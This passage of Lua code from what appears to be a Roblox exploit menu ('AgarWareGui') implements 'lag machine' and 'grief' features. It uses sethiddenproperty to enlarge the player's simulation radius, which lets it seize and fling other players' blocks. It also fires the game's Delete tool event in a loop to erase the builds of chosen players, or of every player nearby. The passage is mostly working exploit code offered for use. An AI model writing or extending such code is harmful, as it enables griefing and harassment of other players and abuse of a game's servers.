local light = block:FindFirstChild("Light")
if light and light:IsA("Light") then
if light.Enabled then
trackedBlocks[block].Light = true
end
light.Enabled = false
end
end
-- ============================================================
-- RESTORE EFFECTS ON A BLOCK
-- ============================================================
local function restoreEffects(block)
if not block or not block:IsA("BasePart") then return end
if not block:GetAttribute("IsSpamBlock") then return end
local original = trackedBlocks[block]
-- FORCE restore Material (even if not tracked)
if block.Material == Enum.Material.Air then
if original and original.Material then
block.Material = original.Material
else
block.Material = Enum.Material.Neon -- Default to Neon if not tracked
end
end
-- FORCE restore CastShadow
if original and original.CastShadow ~= nil then
block.CastShadow = original.CastShadow
else
block.CastShadow = true -- Default to true
end
-- FORCE restore Sprays
for _, child in ipairs(block:GetChildren()) do
if child.Name == "Spray" then
if child:IsA("Texture") or child:IsA("Decal") or child:IsA("SurfaceGui") then
if original and original.Sprays[child] ~= nil then
child.Enabled = original.Sprays[child]
else
child.Enabled = true -- Default to enabled
end
end
end
end
-- FORCE restore Light
local light = block:FindFirstChild("Light")
if light and light:IsA("Light") then
if original and original.Light ~= nil then
light.Enabled = original.Light
else
light.Enabled = true -- Default to enabled
end
end
-- Remove from tracking
if original then
trackedBlocks[block] = nil
end
end
-- ============================================================
-- PROCESS ALL EXISTING SPAM BLOCKS
-- ============================================================
local function processAllBlocks()
local playerFolder = workspace:WaitForChild("Bricks"):FindFirstChild(LocalPlayer.Name)
if not playerFolder then return end
for _, block in ipairs(playerFolder:GetChildren()) do
if block.Name == "Brick" and block:GetAttribute("IsSpamBlock") then
if isEnabled then
disableEffects(block)
else
restoreEffects(block)
end
end
end
end
-- ============================================================
-- WATCH FOR NEW SPAM BLOCKS
-- ============================================================
local blockAddedConnection
local function startWatching()
if blockAddedConnection then
blockAddedConnection:Disconnect()
end
local playerFolder = workspace:WaitForChild("Bricks"):FindFirstChild(LocalPlayer.Name)
if not playerFolder then return end
blockAddedConnection = playerFolder.ChildAdded:Connect(function(child)
if child.Name == "Brick" then
-- Wait for IsSpamBlock attribute to be set
task.wait(0.1)
if child:GetAttribute("IsSpamBlock") then
if isEnabled then
-- Wait a bit more for sprays/light to be added
task.wait(0.2)
-- FORCE disable effects on new block
disableEffects(child)
print("[ReduceLag] Applied to new block:", child)
end
end
end
end)
end
local function stopWatching()
if blockAddedConnection then
blockAddedConnection:Disconnect()
blockAddedConnection = nil
end
end
-- ============================================================
-- WATCH FOR BLOCK DELETION
-- ============================================================
local function watchBlockDeletion(block)
block.AncestryChanged:Connect(function()
if not block:IsDescendantOf(workspace) then
-- Block deleted, remove from tracking
trackedBlocks[block] = nil
end
end)
end
-- ============================================================
-- ENABLE/DISABLE
-- ============================================================
local function enable()
isEnabled = true
ReduceLagTickBox.BackgroundColor3 = getAccentColor()
-- Process all existing blocks
processAllBlocks()
print("[ReduceLag] Enabled - effects disabled on spam blocks")
end
local function disable()
isEnabled = false
ReduceLagTickBox.BackgroundColor3 = Color3.new(0, 0, 0)
-- Restore all blocks
processAllBlocks()
print("[ReduceLag] Disabled - effects restored on spam blocks")
end
-- ============================================================
-- TOGGLE
-- ============================================================
local function toggle()
if isEnabled then
disable()
else
enable()
end
end
-- ============================================================
-- CLICK HANDLER
-- ============================================================
ReduceLagTickBox.MouseButton1Click:Connect(toggle)
-- ============================================================
-- WATCH FOR NEW BLOCKS ALWAYS (to track deletions)
-- ============================================================
local playerFolder = workspace:WaitForChild("Bricks"):FindFirstChild(LocalPlayer.Name)
if playerFolder then
playerFolder.ChildAdded:Connect(function(child)
if child.Name == "Brick" and child:GetAttribute("IsSpamBlock") then
watchBlockDeletion(child)
end
end)
end
-- ============================================================
-- INITIALIZE
-- ============================================================
ReduceLagTickBox.BackgroundColor3 = Color3.new(0, 0, 0)
-- Start watching for new blocks immediately (even when disabled)
startWatching()
print("[ReduceLag] Script loaded - OFF by default")
end;
task.spawn(C_1bf);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.LagGroup.BlackholeLagRow.BlackholeLagScript
local function C_1c3()
local script = G2L["1c3"];
local Players = game:GetService("Players")
local LocalPlayer = Players.LocalPlayer
local RunService = game:GetService("RunService")
local BlackholeLagRow = script.Parent
local LagGroup = BlackholeLagRow.Parent
local BlackholeLagTickBox = BlackholeLagRow:WaitForChild("BlackholeLagTickBox")
-- Get TP button
local TPBlackholeRow = LagGroup:FindFirstChild("TPBlackholeRow")
local TPBlackholeButton = TPBlackholeRow and TPBlackholeRow:FindFirstChild("TPBlackholeButton")
-- Get Orbit toggle and speed changer
local OrbitBlackholeRow = LagGroup:FindFirstChild("OrbitBlackholeRow")
local OrbitBlackholeTickBox = OrbitBlackholeRow and OrbitBlackholeRow:FindFirstChild("OrbitBlackholeTickBox")
local OrbitBlackholeChanger = OrbitBlackholeRow and OrbitBlackholeRow:FindFirstChild("OrbitBlackholeChanger")
-- State
local isEnabled = false
local bodyPositions = {}
local monitorConnection = nil
local sizeWatchConnection = nil
local handlesPart = nil
local dragConnections = {}
local targetPosition = nil
local lastBlackholePosition = nil -- Remember last position
local isOrbiting = false
local orbitSpeed = 10 -- Default speed
local isPaused = false -- Pause during block processing
local PICKUP_RADIUS = 2000
local UserInputService = game:GetService("UserInputService")
local function getAccentColor()
local a = LagGroup:FindFirstChild("LagAccentColor")
return a and a.BackgroundColor3 or Color3.new(1, 1, 1)
end
-- Get current target size
local function getTargetSize()
local targetSizeValue = LagGroup:FindFirstChild("TargetBlockSize")
return targetSizeValue and targetSizeValue.Value or 1
end
-- Update handles part size
local function updateHandlesSize()
if not handlesPart then return end
local targetSize = getTargetSize()
local handleSize = targetSize + 1
handlesPart.Size = Vector3.new(handleSize, handleSize, handleSize)
end
-- Set replication focus and simulation radius
LocalPlayer.ReplicationFocus = workspace
pcall(function()
sethiddenproperty(LocalPlayer, "SimulationRadius", PICKUP_RADIUS)
end)
-- Function to check if part is truly unanchored
local function isTrulyUnanchored(part)
return not part:IsGrounded()
end
-- Function to retain block properties
local function retainBlock(block)
local originalProps = {
canCollide = block.CanCollide,
canTouch = block.CanTouch,
customPhysics = block.CustomPhysicalProperties
}
block.CustomPhysicalProperties = PhysicalProperties.new(0.01, 0, 0, 0, 0)
block.CanCollide = false
block.CanTouch = false
return originalProps
end
-- Function to add bodyposition to block
local function addBodyPosition(block)
if bodyPositions[block] then return end
local originalProps = retainBlock(block)
local mass = block:GetMass()
local bp = Instance.new("BodyPosition")
bp.Name = "BlackholeBP"
bp.P = mass / 0.64e-5
bp.D = mass / 0.64e-3
bp.MaxForce = Vector3.new(mass / 0.64e-6, mass / 0.64e-6, mass / 0.64e-6)
bp.Parent = block
bodyPositions[block] = {bp = bp, props = originalProps}
end
-- Function to check if block is a lag machine block
local function isLagMachineBlock(obj)
if not obj:IsA("BasePart") and not obj:IsA("UnionOperation") then
return false
end
if obj.Anchored then
return false
end
-- Skip player characters
for _, player in ipairs(Players:GetPlayers()) do
if player.Character and obj:IsDescendantOf(player.Character) then
return false
end
end
-- Skip the selected block (check if it has BlockSpamWeld connecting to player)
local hrp = LocalPlayer.Character and LocalPlayer.Character:FindFirstChild("HumanoidRootPart")
if hrp then
for _, child in ipairs(hrp:GetChildren()) do
if child:IsA("WeldConstraint") and child.Name == "BlockSpamWeld" then
if child.Part0 == obj or child.Part1 == obj then
return false -- This is the selected/welded block, skip it
end
end
end
end
-- Check if unanchored and has Drag (lag machine blocks)
if not obj:FindFirstChild("Drag") then
return false
end
if not isTrulyUnanchored(obj) then
return false
end
return true
end
-- Function to check and add block
local function checkAndAddBlock(obj)
if isLagMachineBlock(obj) and not bodyPositions[obj] then
addBodyPosition(obj)
end
end
-- Create handles part with custom drag
local function createHandles()
local hrp = LocalPlayer.Character and LocalPlayer.Character:FindFirstChild("HumanoidRootPart")
if not hrp then return end
local targetSize = getTargetSize()
local handleSize = targetSize + 1
-- Determine spawn position
local spawnPosition
if lastBlackholePosition then
-- Use last position if we had one
spawnPosition = lastBlackholePosition
else
-- First time: try to find welded block position
local weldedBlock = nil
for _, child in ipairs(hrp:GetChildren()) do
if child:IsA("WeldConstraint") and child.Name == "BlockSpamWeld" then
weldedBlock = child.Part1 or child.Part0
if weldedBlock == hrp then
weldedBlock = child.Part0 or child.Part1
end
break
end
end
if weldedBlock then
spawnPosition = weldedBlock.Position
else
-- Fallback: above head
spawnPosition = Vector3.new(hrp.Position.X, hrp.Position.Y + 10, hrp.Position.Z)
end
end
handlesPart = Instance.new("Part")
handlesPart.Name = "BlackholeHandlesPart"
handlesPart.Size = Vector3.new(handleSize, handleSize, handleSize)
handlesPart.Position = spawnPosition
handlesPart.Anchored = true
handlesPart.CanCollide = false
handlesPart.Transparency = 0.5
handlesPart.Material = Enum.Material.ForceField
handlesPart.BrickColor = BrickColor.new("Bright blue")
handlesPart.Parent = workspace
-- Add SelectionBox for visibility
local selectionBox = Instance.new("SelectionBox")
selectionBox.Adornee = handlesPart
selectionBox.LineThickness = 0.05
selectionBox.Color3 = Color3.fromRGB(0, 170, 255)
selectionBox.Parent = handlesPart
targetPosition = handlesPart.Position
-- Custom drag system (works on mobile AND PC)
local dragging = false
local dragStart = nil
local dragStartPos = nil
local originalCameraType = nil
local function startDrag(input)
-- Don't allow dragging if orbiting
if isOrbiting then return end
dragging = true
dragStart = input.Position
dragStartPos = handlesPart.Position
-- Lock camera while dragging
local camera = workspace.CurrentCamera
originalCameraType = camera.CameraType
camera.CameraType = Enum.CameraType.Scriptable
end
local function updateDrag(input)
if not dragging then return end
local camera = workspace.CurrentCamera
local delta = input.Position - dragStart
local worldDelta =
camera.CFrame.RightVector * (delta.X * 0.05)
+ camera.CFrame.UpVector * (-delta.Y * 0.05)
handlesPart.Position = dragStartPos + worldDelta
targetPosition = handlesPart.Position
end
local function stopDrag()
dragging = false
dragStart = nil
dragStartPos = nil
-- Unlock camera
if originalCameraType then
local camera = workspace.CurrentCamera
camera.CameraType = originalCameraType
originalCameraType = nil
end
end
table.insert(dragConnections, UserInputService.InputBegan:Connect(function(input)
if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then
local mouse = LocalPlayer:GetMouse()
if mouse.Target == handlesPart then
startDrag(input)
end
end
end))
table.insert(dragConnections, UserInputService.InputChanged:Connect(function(input)
if input.UserInputType == Enum.UserInputType.MouseMovement or input.UserInputType == Enum.UserInputType.Touch then
updateDrag(input)
end
end))
table.insert(dragConnections, UserInputService.InputEnded:Connect(function(input)
if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then
stopDrag()
end
end))
-- Watch for size changes
sizeWatchConnection = RunService.Heartbeat:Connect(function()
if isEnabled then
updateHandlesSize()
end
end)
end
-- Destroy handles
local function destroyHandles()
-- Unlock camera if it was locked
local camera = workspace.CurrentCamera
if camera.CameraType == Enum.CameraType.Scriptable then
camera.CameraType = Enum.CameraType.Custom
end
if handlesPart then
handlesPart:Destroy()
handlesPart = nil
end
for _, connection in ipairs(dragConnections) do
connection:Disconnect()
end
dragConnections = {}
if sizeWatchConnection then
sizeWatchConnection:Disconnect()
sizeWatchConnection = nil
end
targetPosition = nil
end
-- Release all blocks WITH EXPLOSION
local function releaseAllBlocks()
for block, data in pairs(bodyPositions) do
if block and block.Parent then
if data.bp and data.bp.Parent then
data.bp:Destroy()
end
if data.props then
block.CustomPhysicalProperties = data.props.customPhysics
block.CanCollide = data.props.canCollide
block.CanTouch = data.props.canTouch
end
-- EXPLODE: Random direction for each block with MAX force
local randomDirection = Vector3.new(
math.random() * 2 - 1,
math.random() * 2 - 1,
math.random() * 2 - 1
).Unit
local explosionForce = 500
block.AssemblyLinearVelocity = randomDirection * explosionForce
end
end
bodyPositions = {}
end
-- Enable blackhole
local function enable()
isEnabled = true
BlackholeLagTickBox.BackgroundColor3 = getAccentColor()
for _, obj in ipairs(workspace:GetDescendants()) do
checkAndAddBlock(obj)
end
workspace.DescendantAdded:Connect(function(obj)
if isEnabled then
checkAndAddBlock(obj)
end
end)
createHandles()
monitorConnection = RunService.Heartbeat:Connect(function()
if not isEnabled or not targetPosition then return end
-- Orbit logic
if isOrbiting then
local hrp = LocalPlayer.Character and LocalPlayer.Character:FindFirstChild("HumanoidRootPart")
if hrp and handlesPart then
-- Calculate orbit position
-- Speed 10 = 5 seconds per rotation
-- Speed scales linearly: speed 20 = 2.5 seconds, speed 5 = 10 seconds
local rotationTime = 35 / orbitSpeed -- 50 / 10 = 5 seconds at default
local angle = (tick() / rotationTime) * (math.pi * 2)
local orbitRadius = 15
local offsetX = math.cos(angle) * orbitRadius
local offsetZ = math.sin(angle) * orbitRadius
handlesPart.Position = hrp.Position + Vector3.new(offsetX, 0, offsetZ)
targetPosition = handlesPart.Position
end
end
-- Only update block positions if not paused
if not isPaused then
for block, data in pairs(bodyPositions) do
if block and block.Parent and data.bp and data.bp.Parent then
data.bp.Position = targetPosition
end
end
end
pcall(function()
sethiddenproperty(LocalPlayer, "SimulationRadius", PICKUP_RADIUS)
end)
end)
print("[BlackholeLag] Enabled")
end
-- Disable blackhole
local function disable()
isEnabled = false
BlackholeLagTickBox.BackgroundColor3 = Color3.new(0, 0, 0)
-- Save last position before destroying
if handlesPart then
lastBlackholePosition = handlesPart.Position
end
if monitorConnection then
monitorConnection:Disconnect()
monitorConnection = nil
end
releaseAllBlocks()
destroyHandles()
print("[BlackholeLag] Disabled")
end
local function toggle()
if isEnabled then
disable()
else
enable()
end
end
BlackholeLagTickBox.MouseButton1Click:Connect(toggle)
BlackholeLagTickBox.BackgroundColor3 = Color3.new(0, 0, 0)
-- TP Blackhole button
if TPBlackholeButton then
TPBlackholeButton.MouseButton1Click:Connect(function()
if not isEnabled then
TPBlackholeButton.Text = "Enable Blackhole First!"
task.wait(1)
TPBlackholeButton.Text = "TP Blackhole"
return
end
if not handlesPart then return end
local hrp = LocalPlayer.Character and LocalPlayer.Character:FindFirstChild("HumanoidRootPart")
if not hrp then return end
-- TP blackhole above head
handlesPart.Position = Vector3.new(hrp.Position.X, hrp.Position.Y + 10, hrp.Position.Z)
targetPosition = handlesPart.Position
lastBlackholePosition = handlesPart.Position
print("[BlackholeLag] Teleported above head")
end)
end
-- Orbit Blackhole toggle
if OrbitBlackholeTickBox then
OrbitBlackholeTickBox.MouseButton1Click:Connect(function()
isOrbiting = not isOrbiting
if isOrbiting then
OrbitBlackholeTickBox.BackgroundColor3 = getAccentColor()
print("[BlackholeLag] Orbit enabled")
else
OrbitBlackholeTickBox.BackgroundColor3 = Color3.new(0, 0, 0)
print("[BlackholeLag] Orbit disabled")
end
end)
OrbitBlackholeTickBox.BackgroundColor3 = Color3.new(0, 0, 0)
end
-- Orbit speed changer
if OrbitBlackholeChanger then
OrbitBlackholeChanger.FocusLost:Connect(function()
local text = OrbitBlackholeChanger.Text
local num = tonumber(text)
if num and num > 0 then
orbitSpeed = num
OrbitBlackholeChanger.Text = tostring(num)
print("[BlackholeLag] Orbit speed set to:", num)
else
OrbitBlackholeChanger.Text = tostring(orbitSpeed)
end
end)
OrbitBlackholeChanger.Text = "10"
end
-- Listen to block processing webhooks
if not _G.LagMachineWebhook then
_G.LagMachineWebhook = {}
end
_G.LagMachineWebhook.OnProcessingStarted = function()
if isEnabled then
isPaused = true
print("[BlackholeLag] Paused during block processing")
end
end
_G.LagMachineWebhook.OnProcessingFinished = function()
if isEnabled then
isPaused = false
print("[BlackholeLag] Resumed after block processing")
end
end
script.AncestryChanged:Connect(function()
if not script:IsDescendantOf(game) then
disable()
end
end)
print("[BlackholeLag] Script loaded - OFF by default")
end;
task.spawn(C_1c3);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.GriefGroup.GriefScript
local function C_1cf()
local script = G2L["1cf"];
-- GriefScript (inside GriefGroup)
local GriefGroup = script.Parent
local GriefMinimize = GriefGroup.GriefTitle.GriefMinimize
local function getRows()
local rows = {}
for _, child in ipairs(GriefGroup:GetChildren()) do
if child:IsA("Frame") and string.find(child.Name, "Row") then
table.insert(rows, child)
end
end
return rows
end
local isMinimized = false
local originalSize = GriefGroup.Size
local minimizedSize = UDim2.new(0, 170, 0, 20)
GriefMinimize.MouseButton1Click:Connect(function()
isMinimized = not isMinimized
local rows = getRows()
if isMinimized then
GriefGroup.Size = minimizedSize
for _, row in ipairs(rows) do
row.Visible = false
end
GriefMinimize.Text = "+"
else
GriefGroup.Size = originalSize
for _, row in ipairs(rows) do
row.Visible = true
end
GriefMinimize.Text = "-"
end
end)
end;
task.spawn(C_1cf);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.GriefGroup.SelectDRow.SelectDScript
local function C_1d5()
local script = G2L["1d5"];
local Players = game:GetService("Players")
local SelectDRow = script.Parent
local SelectDDropdown = SelectDRow:WaitForChild("SelectDDropdown")
repeat task.wait() until shared.DropdownMaster
local function updateSelectedPlayers(selected)
local names = {}
for name, _ in pairs(selected) do
table.insert(names, name)
end
SelectDRow:SetAttribute("SelectedPlayers", table.concat(names, ","))
shared.GriefSelectedPlayers = selected
end
shared.DropdownMaster.create({
dropdown = SelectDDropdown,
multiSelect = true,
showIcons = true,
onMultiSelectChange = function(selected)
updateSelectedPlayers(selected)
end,
bottomButtons = {
{
text = "Select All",
onClick = function(state)
-- Clear and repopulate the DROPDOWN's selectedPlayers
for k in pairs(state.selectedPlayers) do
state.selectedPlayers[k] = nil
end
for _, p in pairs(Players:GetPlayers()) do
state.selectedPlayers[p.Name] = true
end
-- Update main label
local count = 0
for _ in pairs(state.selectedPlayers) do count = count + 1 end
state.mainLabel.Text = count .. " Players Selected"
-- Notify change
state.notifyChange()
-- Rebuild visual
state.rebuildList()
end
},
{
text = "Unselect All",
onClick = function(state)
-- Clear the DROPDOWN's selectedPlayers
for k in pairs(state.selectedPlayers) do
state.selectedPlayers[k] = nil
end
-- Update main label
state.mainLabel.Text = "Select Players"
-- Notify change
state.notifyChange()
-- Rebuild visual
state.rebuildList()
end
},
{
text = "Show Display",
onClick = function(state)
state.setShowDisplay(not state.showDisplay)
state.button.Text = state.showDisplay and "Show Username" or "Show Display"
state.rebuildList()
end
}
}
})
SelectDRow:SetAttribute("SelectedPlayers", "")
end;
task.spawn(C_1d5);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.GriefGroup.HLBlockRow.HLBlockScript
local function C_1da()
local script = G2L["1da"];
local Players = game:GetService("Players")
local LocalPlayer = Players.LocalPlayer
local HLBlockRow = script.Parent
local GriefGroup = HLBlockRow.Parent
local GriefAccentColor = GriefGroup:WaitForChild("GriefAccentColor")
local HLBlockTickBox = HLBlockRow:WaitForChild("HLBlockTickBox")
-- Get the SelectD row to access selected players
local SelectDRow = GriefGroup:FindFirstChild("SelectDRow")
-- State
local isEnabled = false
local highlights = {} -- Store all highlights so we can remove them later
-- ============================================================
-- UPDATE VISUAL
-- ============================================================
local function updateVisual()
if isEnabled then
HLBlockTickBox.BackgroundColor3 = GriefAccentColor.BackgroundColor3
else
HLBlockTickBox.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
end
end
updateVisual()
-- ============================================================
-- GET SELECTED PLAYERS
-- ============================================================
local function getSelectedPlayers()
-- Method 1: Use shared table (fastest)
if shared.GriefSelectedPlayers then
return shared.GriefSelectedPlayers
end
-- Method 2: Parse attribute (fallback)
if SelectDRow then
local attr = SelectDRow:GetAttribute("SelectedPlayers")
if attr and attr ~= "" then
local players = {}
for name in string.gmatch(attr, "[^,]+") do
players[name] = true
end
return players
end
end
return {}
end
-- ============================================================
-- GET PLAYER'S BLOCKS
-- ============================================================
local function getPlayerBlocks(playerName)
local blocks = {}
local bricksFolder = workspace:FindFirstChild("Bricks")
if not bricksFolder then return blocks end
local playerFolder = bricksFolder:FindFirstChild(playerName)
if not playerFolder then return blocks end
-- Get all bricks in the player's folder
for _, brick in ipairs(playerFolder:GetChildren()) do
if brick:IsA("BasePart") and brick.Name == "Brick" then
table.insert(blocks, brick)
end
end
return blocks
end
-- ============================================================
-- REMOVE ALL HIGHLIGHTS
-- ============================================================
local function removeAllHighlights()
for _, highlight in ipairs(highlights) do
if highlight and highlight.Parent then
highlight:Destroy()
end
end
highlights = {}
end
-- ============================================================
-- HIGHLIGHT BLOCKS
-- ============================================================
local function highlightBlocks()
removeAllHighlights()
local selectedPlayers = getSelectedPlayers()
local totalBlocks = 0
for playerName, _ in pairs(selectedPlayers) do
local blocks = getPlayerBlocks(playerName)
for _, brick in ipairs(blocks) do
-- Create red cham highlight (no outline)
local highlight = Instance.new("Highlight")
highlight.Adornee = brick
highlight.FillColor = Color3.fromRGB(255, 0, 0) -- Red
highlight.OutlineColor = Color3.fromRGB(255, 0, 0) -- Same as fill
highlight.FillTransparency = 0.7 -- More transparent
highlight.OutlineTransparency = 1 -- No outline
highlight.Parent = brick
table.insert(highlights, highlight)
totalBlocks = totalBlocks + 1
end
end
end
-- ============================================================
-- WATCH FOR NEW BLOCKS
-- ============================================================
local blockWatcher = nil
local function startWatching()
local bricksFolder = workspace:FindFirstChild("Bricks")
if not bricksFolder then return end
blockWatcher = bricksFolder.DescendantAdded:Connect(function(descendant)
if not isEnabled then return end
if not descendant:IsA("BasePart") or descendant.Name ~= "Brick" then return end
-- Check if this brick belongs to a selected player
local playerFolder = descendant.Parent
if not playerFolder or playerFolder.Parent ~= bricksFolder then return end
local selectedPlayers = getSelectedPlayers()
if selectedPlayers[playerFolder.Name] then
-- Highlight this new brick
task.wait(0.1) -- Wait a bit for the brick to settle
if descendant and descendant:IsDescendantOf(workspace) then
local highlight = Instance.new("Highlight")
highlight.Adornee = descendant
highlight.FillColor = Color3.fromRGB(255, 0, 0)
highlight.OutlineColor = Color3.fromRGB(255, 0, 0)
highlight.FillTransparency = 0.7 -- More transparent
highlight.OutlineTransparency = 1 -- No outline
highlight.Parent = descendant
table.insert(highlights, highlight)
end
end
end)
end
local function stopWatching()
if blockWatcher then
blockWatcher:Disconnect()
blockWatcher = nil
end
end
-- ============================================================
-- ENABLE / DISABLE
-- ============================================================
local function enable()
isEnabled = true
updateVisual()
highlightBlocks()
startWatching()
end
local function disable()
isEnabled = false
updateVisual()
removeAllHighlights()
stopWatching()
end
-- ============================================================
-- TICKBOX TOGGLE
-- ============================================================
HLBlockTickBox.MouseButton1Click:Connect(function()
if isEnabled then
disable()
else
enable()
end
end)
-- ============================================================
-- WATCH FOR SELECTION CHANGES
-- ============================================================
if SelectDRow then
SelectDRow:GetAttributeChangedSignal("SelectedPlayers"):Connect(function()
if isEnabled then
-- Re-highlight with new selection
highlightBlocks()
end
end)
end
-- ============================================================
-- CLEANUP
-- ============================================================
script.AncestryChanged:Connect(function()
if not script:IsDescendantOf(game) then
if isEnabled then
disable()
end
end
end)
-- ============================================================
-- AUTO-ENABLE ON STARTUP
-- ============================================================
enable()
end;
task.spawn(C_1da);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.GriefGroup.ToggleGriefRow.ToggleGriefScript
local function C_1de()
local script = G2L["1de"];
local Players = game:GetService("Players")
local LocalPlayer = Players.LocalPlayer
local ToggleGriefRow = script.Parent
local GriefGroup = ToggleGriefRow.Parent
local ToggleGriefButton = ToggleGriefRow:WaitForChild("ToggleGriefButton")
-- Get the SelectD row to access selected players
local SelectDRow = GriefGroup:FindFirstChild("SelectDRow")
-- State
local isGriefing = false
local griefLoop = nil
-- Text states
local TEXT_START = "Start Grief"
local TEXT_STOP = "Stop Grief"
local TEXT_NO_BLOCKS = "No Blocks Found"
-- Network delay
local ws = 0.05
-- ============================================================
-- GET SELECTED PLAYERS
-- ============================================================
local function getSelectedPlayers()
if shared.GriefSelectedPlayers then
return shared.GriefSelectedPlayers
end
if SelectDRow then
local attr = SelectDRow:GetAttribute("SelectedPlayers")
if attr and attr ~= "" then
local players = {}
for name in string.gmatch(attr, "[^,]+") do
players[name] = true
end
return players
end
end
return {}
end
-- ============================================================
-- GET ALL TARGET BLOCKS (INFINITE RANGE)
-- ============================================================
local function getAllTargetBlocks()
local blocks = {}
local selectedPlayers = getSelectedPlayers()
local bricksFolder = workspace:FindFirstChild("Bricks")
if not bricksFolder then return blocks end
for playerName, _ in pairs(selectedPlayers) do
local playerFolder = bricksFolder:FindFirstChild(playerName)
if playerFolder then
for _, brick in ipairs(playerFolder:GetChildren()) do
if brick:IsA("BasePart") and brick.Name == "Brick" then
table.insert(blocks, brick)
end
end
end
end
local hrp = LocalPlayer.Character and LocalPlayer.Character:FindFirstChild("HumanoidRootPart")
if hrp then
table.sort(blocks, function(a, b)
local distA = (a.Position - hrp.Position).Magnitude
local distB = (b.Position - hrp.Position).Magnitude
return distA < distB
end)
end
return blocks
end
-- ============================================================
-- GET DELETE TOOLS
-- ============================================================
local function findDeleteTools()
local dtools = {}
for _, v in pairs(LocalPlayer.Backpack:GetChildren()) do
if v:IsA("Tool") and v.Name == "Delete" and v:FindFirstChild("Script") and v.Script:FindFirstChild("Event") then
table.insert(dtools, {bt = v, e = v.Script.Event})
end
end
if LocalPlayer.Character then
for _, v in pairs(LocalPlayer.Character:GetChildren()) do
if v:IsA("Tool") and v.Name == "Delete" and v:FindFirstChild("Script") and v.Script:FindFirstChild("Event") then
table.insert(dtools, {bt = v, e = v.Script.Event})
end
end
end
return dtools
end
-- ============================================================
-- START GRIEFING
-- ============================================================
local function startGrief()
local dtools = findDeleteTools()
if #dtools == 0 then
ToggleGriefButton.Text = "Delete tool not found"
task.wait(1)
ToggleGriefButton.Text = TEXT_START
return
end
local selectedPlayers = getSelectedPlayers()
if not next(selectedPlayers) then
ToggleGriefButton.Text = "No players selected"
task.wait(1)
ToggleGriefButton.Text = TEXT_START
return
end
isGriefing = true
ToggleGriefButton.Text = TEXT_STOP
griefLoop = task.spawn(function()
local dti = 0
local lastRefreshTime = 0
-- Initial refresh when starting
if shared.DeleteToolRefresh then
shared.DeleteToolRefresh()
end
lastRefreshTime = tick()
while isGriefing do
local hrp = LocalPlayer.Character and LocalPlayer.Character:FindFirstChild("HumanoidRootPart")
if not hrp then
task.wait()
continue
end
local dtools = findDeleteTools()
if #dtools > 0 then
local targetBlocks = getAllTargetBlocks()
if #targetBlocks > 0 then
-- Refresh every 5 seconds ONLY when blocks exist
if tick() - lastRefreshTime >= 5 then
if shared.DeleteToolRefresh then
shared.DeleteToolRefresh()
end
lastRefreshTime = tick()
end
-- Fire delete events
for _, block in pairs(targetBlocks) do
if not isGriefing then break end
if block and block:IsDescendantOf(workspace) then
dti = dti + 1
local dt = dtools[(dti % #dtools) + 1]
pcall(function()
dt.e:FireServer(block, hrp.Position)
end)
task.wait(ws / #dtools)
end
end
else
-- No blocks, don't refresh, just wait
task.wait(0.5)
end
else
task.wait(1)
end
task.wait()
end
end)
end
-- ============================================================
-- STOP GRIEFING
-- ============================================================
local function stopGrief()
isGriefing = false
ToggleGriefButton.Text = TEXT_START
if griefLoop then
task.cancel(griefLoop)
griefLoop = nil
end
task.wait(0.1)
local dtools = findDeleteTools()
for _, dt in pairs(dtools) do
if dt.bt.Parent == LocalPlayer.Character then
dt.bt.Parent = LocalPlayer.Backpack
end
end
end
-- ============================================================
-- BUTTON HANDLERS
-- ============================================================
ToggleGriefButton.MouseEnter:Connect(function()
if not isGriefing then
local targetBlocks = getAllTargetBlocks()
if #targetBlocks == 0 then
ToggleGriefButton.Text = TEXT_NO_BLOCKS
end
end
end)
ToggleGriefButton.MouseLeave:Connect(function()
if not isGriefing then
ToggleGriefButton.Text = TEXT_START
end
end)
ToggleGriefButton.MouseButton1Click:Connect(function()
if isGriefing then
stopGrief()
else
startGrief()
end
end)
script.AncestryChanged:Connect(function()
if not script:IsDescendantOf(game) then
if isGriefing then
stopGrief()
end
end
end)
end;
task.spawn(C_1de);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.GriefGroup.GriefAllRow.GriefAllScript
local function C_1e1()
local script = G2L["1e1"];
local Players = game:GetService("Players")
local LocalPlayer = Players.LocalPlayer
local RunService = game:GetService("RunService")
local GriefAllRow = script.Parent
local GriefGroup = GriefAllRow.Parent
local GriefAllButton = GriefAllRow:WaitForChild("GriefAllButton")
-- State
local isGriefing = false
local griefLoop = nil
local highlightLoop = nil
local highlights = {}
-- Text states
local TEXT_START = "Delete Aura"
local TEXT_STOP = "Stop Delete Aura"
local TEXT_NO_BLOCKS = "No Blocks Found"
-- Network delay
local ws = 0.05
-- ============================================================
-- GET ALL TARGET BLOCKS
-- ============================================================
local function getAllTargetBlocks()
local blocks = {}
local bricksFolder = workspace:FindFirstChild("Bricks")
if not bricksFolder then return blocks end
for _, brick in ipairs(bricksFolder:GetDescendants()) do
if brick:IsA("BasePart") and brick.Name == "Brick" then
table.insert(blocks, brick)
end
end
local hrp = LocalPlayer.Character and LocalPlayer.Character:FindFirstChild("HumanoidRootPart")
if hrp then
table.sort(blocks, function(a, b)
local distA = (a.Position - hrp.Position).Magnitude
local distB = (b.Position - hrp.Position).Magnitude
return distA < distB
end)
end
return blocks
end
-- ============================================================
-- GET DELETE TOOLS
-- ============================================================
local function findDeleteTools()
local dtools = {}
for _, v in pairs(LocalPlayer.Backpack:GetChildren()) do
if v:IsA("Tool") and v.Name == "Delete" and v:FindFirstChild("Script") and v.Script:FindFirstChild("Event") then
table.insert(dtools, {bt = v, e = v.Script.Event})
end
end
if LocalPlayer.Character then
for _, v in pairs(LocalPlayer.Character:GetChildren()) do
if v:IsA("Tool") and v.Name == "Delete" and v:FindFirstChild("Script") and v.Script:FindFirstChild("Event") then
table.insert(dtools, {bt = v, e = v.Script.Event})
end
end
end
return dtools
end
-- ============================================================
-- CLEAR ALL HIGHLIGHTS
